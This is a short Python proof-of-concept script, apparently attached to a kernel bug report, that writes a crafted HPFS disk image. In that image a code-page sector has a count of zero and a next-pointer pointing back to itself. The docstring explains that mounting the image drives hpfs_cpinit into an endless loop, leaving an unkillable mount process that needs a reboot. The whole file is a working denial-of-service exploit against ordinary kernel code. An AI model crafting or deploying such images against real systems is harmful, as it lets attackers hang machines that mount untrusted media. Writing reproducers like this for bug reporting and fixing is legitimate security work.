#!/usr/bin/env python3
"""
DF-3144 -- hpfs_cpinit (sys/vfs/hpfs/hpfs_subr.c:282-305) mount-time
livelock:

    while (cpicnt > 0) {
        bread(...);                                   :283
        for (i=0; i<cpisp->s_cpicnt; i++, cpicnt--, ...)   :292
            ...
        lsn = cpisp->s_next;                          :303
    }

cpicnt only decreases inside the inner loop, driven by the on-disk
s_cpicnt.  With sp_cpinum >= 1 and every cpisec carrying s_cpicnt == 0
and s_next pointing back at itself, the loop never terminates: infinite
bread() of the same sector inside the mount(2) syscall -> unkillable
mount process, mount point unusable, needs reboot.  (s_magic is never
checked either, but the loop bound is the actual bug.)

usage: craft_img.py <out.img>
"""
import struct, sys

SECTOR = 512
IMGSEC = 0x1000
SU_MAGIC = 0xFA53E9C5F995E849
SP_MAGIC = 0xFA5229C5F9911849
CPI_MAGIC = 0x494521F7

# struct spblock offsets
SP_OFF_CPI, SP_OFF_CPINUM = 32, 36
# struct cpisec offsets
CPI_OFF_MAGIC, CPI_OFF_CPICNT, CPI_OFF_CPIFIRST, CPI_OFF_NEXT = 0, 4, 8, 12


def build(outpath):
    img = bytearray(IMGSEC * SECTOR)
    def wr32(o, v): struct.pack_into('<I', img, o, v & 0xFFFFFFFF)
    def wr64(o, v): struct.pack_into('<Q', img, o, v & 0xFFFFFFFFFFFFFFFF)
    def wr16(o, v): struct.pack_into('<H', img, o, v & 0xFFFF)
    def wr8(o, v):  img[o] = v & 0xFF

    img[0] = 0xEB
    wr16(SECTOR - 2, 0xAA55)

    su = 0x10 * SECTOR
    wr64(su + 0, SU_MAGIC); wr8(su + 8, 2)
    wr32(su + 12, 0x20)
    wr32(su + 16, IMGSEC)
    wr32(su + 20, 0)
    wr32(su + 24, 0x30); wr32(su + 28, 0x30)

    sp = 0x11 * SECTOR
    wr64(sp + 0, SP_MAGIC)
    wr32(sp + SP_OFF_CPI, 0x60)       # sp_cpi -> cpisec at 0x60
    wr32(sp + SP_OFF_CPINUM, 1)       # sp_cpinum = 1

    wr32(0x30 * SECTOR, 0x38)         # bitmap pointer (all busy)

    cpi = 0x60 * SECTOR
    wr32(cpi + CPI_OFF_MAGIC, CPI_MAGIC)
    wr32(cpi + CPI_OFF_CPICNT, 0)     # s_cpicnt = 0  <<< loop never decrements
    wr32(cpi + CPI_OFF_CPIFIRST, 0)
    wr32(cpi + CPI_OFF_NEXT, 0x60)    # s_next -> itself <<< never terminates

    with open(outpath, 'wb') as f:
        f.write(img)
    print("wrote %s: sp_cpinum=1, cpisec@0x60 s_cpicnt=0 s_next=self" % outpath)


if __name__ == '__main__':
    build(sys.argv[1])
